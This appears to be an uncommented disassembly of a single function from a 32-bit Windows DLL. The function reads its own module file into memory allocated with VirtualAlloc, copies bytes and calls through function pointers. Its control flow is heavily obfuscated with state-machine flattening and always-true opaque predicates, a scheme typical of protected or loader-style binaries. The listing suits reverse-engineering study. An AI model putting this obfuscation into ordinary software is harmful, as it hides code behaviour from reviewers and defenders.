push dword [ebp - 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa18c56f6
mov edi, 0x48e0351
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x30]
cmovge eax, edx
cmp dword [ecx], esi
sete byte [ebp - 0x37]
jmp 0x1000130c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, 0xdae900ec
jmp 0x1000130c
mov eax, 0x8b13e88f
jmp 0x1000130c
mov edx, dword [0x10005004]
mov eax, dword [section..data]
lea ecx, [edx + 1]
imul ecx, edx
mov ebx, ecx
xor ebx, 0xfffffffe
test ebx, ecx
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x30d13e38
mov edi, 0x20cafa7e
cmovne edx, edi
test ebx, ecx
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
jmp 0x10002eb1
mov eax, 0x773d3353
jmp 0x1000130c
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xc1c54249
mov edi, 0xa42989d7
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xc1c54249
jmp 0x1000316d
mov al, byte [ebp - 0x21]
mov ecx, dword [ebp - 0x68]
mov byte [ecx], al
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xe2b09221
mov edi, 0x2badc823
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xe2b09221
jmp 0x1000316d
mov eax, 0xbd13b2e0
jmp 0x1000130c
mov eax, 0xe7f50854
jmp 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9f63c9d4
mov edi, 0x61bbf1c
jmp 0x10003068
mov eax, 0x3e32ad5f
jmp 0x1000130c
cmp byte [ebp - 0x39], 0
mov eax, 0x55c60d7
mov ecx, 0x9e81d863
cmovne eax, ecx
jmp 0x1000130c
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xc0462597
mov edi, 0x6119c192
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xc0462597
jmp 0x1000316d
mov eax, 0xa9744fe0
jmp 0x1000130c
mov eax, dword [ebp - 0x10]
mov eax, 0xe0c28809
jmp 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xaeb5288b
mov edi, 0x6ab45849
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xaeb5288b
jmp 0x1000316d
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x76ac709b
mov edi, 0xe0c28809
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x76ac709b
jmp 0x1000316d
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov eax, 0x73862bae
jmp 0x1000130c
mov eax, 0xc362fdf4
jmp 0x1000130c
mov eax, dword [ebp - 0x28]
mov eax, 0x20cafa7e
jmp 0x1000130c
mov eax, 0x26fc01be
jmp 0x1000130c
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov ecx, 0xb0433e33
mov edi, 0x9202bbda
cmove ecx, edi
cmp dword [section..data], 0xa
setl dl
mov ebx, 0xb0433e33
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov ebx, eax
xor ebx, 0xfffffffe
test ebx, eax
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa72e9332
mov edi, 0x154752b4
cmovne edx, edi
test ebx, eax
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov ebx, dword [ebp - 0x10]
cmovge eax, edx
mov edx, dword [ebp - 0x14]
mov edx, dword [edx]
not edx
add edx, dword [ebx]
mov cl, byte [ecx + edx]
mov byte [ebp - 0x21], cl
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx]
mov dword [ebp - 0x68], ecx
jmp 0x1000130c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
call dword [eax]
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x93a402de
mov edi, 0xef2ad30d
jmp 0x10003068
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, 0xc0664079
jmp 0x1000130c
mov eax, dword [ebp - 0x54]
mov byte [eax], 0
mov eax, dword [ebp - 0x2c]
sub esp, 0x1c
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], esi
movaps xmm0, xmmword [0x10004020]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, 0x3fbc4862
jmp 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbbe11fb8
mov edi, 0x7e6dd70
jmp 0x10002f6c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc9180710
mov edi, 0xbefdeae8
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
mov dword [ebp - 0x58], ecx
cmovge eax, edx
jmp 0x1000130c
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xfffffffd
mov eax, 0x15809e2a
jmp 0x1000130c
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x3722280c
mov edi, 0xd806324
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x3722280c
jmp 0x1000316d
mov al, byte [ebp - 0x21]
mov ecx, dword [ebp - 0x68]
mov byte [ecx], al
mov eax, 0x54d7c3a0
jmp 0x1000130c
mov eax, dword [ebp - 0x18]
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
push 4
push 0x3000
push dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x87ca0d33
mov edi, 0xb412f1ba
jmp 0x10003068
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3fde5e69
mov edi, 0xdc87cfa8
jmp 0x10003068
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xdbf382da
mov edi, 0xeae7d012
jmp 0x10002f6c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x86216451
mov edi, 0x845891b8
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x86216451
jmp 0x1000316d
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x98f87d94
mov ebx, 0xfdd847a1
cmovne edx, ebx
cmp eax, 0xffffffff
mov eax, edx
cmove eax, ebx
jmp 0x10002f77
mov eax, 0xb8dc564e
jmp 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x8c014df3
mov edi, 0xe329ebe0
jmp 0x10003068
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xfffffffe
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x19629fb3
mov edi, 0x61be09d0
jmp 0x10002fe9
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xbbe11fb8
mov edi, 0xc362fdf4
jmp 0x10003068
mov eax, dword [ebp - 0x18]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9f63c9d4
mov edi, 0x97235905
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
mov dword [ebp - 0x5c], ecx
cmovge eax, ebx
jmp 0x1000130c
mov eax, dword [ebp - 0x10]
mov eax, 0x44336bf6
jmp 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x93a402de
mov edi, 0x5a8df6cf
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x93a402de
jmp 0x1000316d
mov eax, 0xc3aa0ce5
jmp 0x1000130c
mov edx, dword [0x10005004]
mov eax, dword [section..data]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x755c733b
mov edi, 0xe0c6662f
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x1000130c
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xffffffff
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xdbf382da
mov edi, 0xa0828c43
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xdbf382da
jmp 0x1000316d
mov eax, dword [ebp - 0x34]
mov dword [eax], 1
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xf01a6edd
mov edi, 0xfcb9d61d
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xf01a6edd
jmp 0x1000316d
mov eax, 0x9202bbda
jmp 0x1000130c
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa9b93dd4
mov edi, 0x9455e567
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x1000130c
mov eax, 0x10321f1a
jmp 0x1000130c
mov eax, 0x7eab7c8
jmp 0x1000130c
mov eax, 0xbf78fed7
jmp 0x1000130c
cmp byte [ebp - 0x3a], 0
mov eax, 0x6e47e8ad
mov ecx, 0xc5920401
cmovne eax, ecx
jmp 0x1000130c
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xffffffff
mov eax, 0xeae7d012
jmp 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x19629fb3
mov edi, 0x6304ff3e
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x19629fb3
jmp 0x1000316d
mov eax, 0x71439696
jmp 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x906e23c5
mov edi, 0x15809e2a
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x906e23c5
jmp 0x1000316d
mov edx, dword [0x10005004]
mov ecx, dword [section..data]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa72e9332
mov edi, 0xdae900ec
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0xa18c56f6
mov edi, 0x693331c3
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xa18c56f6
jmp 0x1000316d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
call dword [eax]
mov eax, 0x5a8df6cf
jmp 0x1000130c
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x10005004]
lea edx, [ecx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
mov eax, dword [eax]
sete cl
mov edx, 0x30d13e38
mov ebx, 0x802ea926
cmove edx, ebx
cmp dword [section..data], 0xa
mov dword [ebp - 0x6c], eax
setl al
mov edi, 0x30d13e38
cmovge edx, edi
xor al, cl
cmovne edx, ebx
mov eax, edx
jmp 0x1000130c
mov eax, dword [0x10005004]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x5374b1d6
mov edi, 0xdf973b95
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0x5374b1d6
jmp 0x1000316d
mov eax, dword [0x10005004]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xeabfe152
mov edi, 0x1f2233ff
cmove eax, edi
cmp dword [section..data], 0xa
mov edx, 0xeabfe152
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, edi
jmp 0x1000130c
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
mov eax, 0x6ab45849
jmp 0x1000130c
cmp eax, 0xb58f349a
jne 0x1000130c
mov eax, dword [ebp - 0x6c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret